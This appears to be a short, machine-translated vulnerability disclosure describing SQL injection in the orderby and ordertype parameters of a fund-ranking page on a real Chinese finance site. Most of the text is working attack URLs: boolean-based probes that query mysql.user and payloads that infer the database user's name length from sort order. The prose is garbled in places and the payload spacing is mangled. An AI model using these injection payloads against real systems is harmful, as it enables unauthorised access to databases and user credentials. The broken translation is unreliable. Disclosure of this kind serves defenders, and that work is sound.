http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=jjdm,If (1 = 2), 1, (select % 20 user % 20 from % 20mysql. user) % 20 desc % 23 & ordertype = aschttp://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=jjdm,If (1 = 1), 1, (select % 20 user % 20 from % 20mysql. user) % 20 desc % 23 & ordertype = asc http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=jjdm&ordertype=,If (1 = 2), 1, (select % 20 user % 20 from % 20mysql. user) asc http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=jjdm&ordertype=,If (1 = 1), 1, (select % 20 user % 20 from % 20mysql. user) asc ordertype orderby injection exists. http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs (Jjdm-(length (user () = 23) * 8000) & ordertype = asc http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs (Jjdm-(length (user () = 22) * 8000) & ordertype = asc check fund name: whether the stock of China's advantageous growth account is the first or fourth place. The company department is easy to go to QQ. Sorry.
Solution:
Php in_array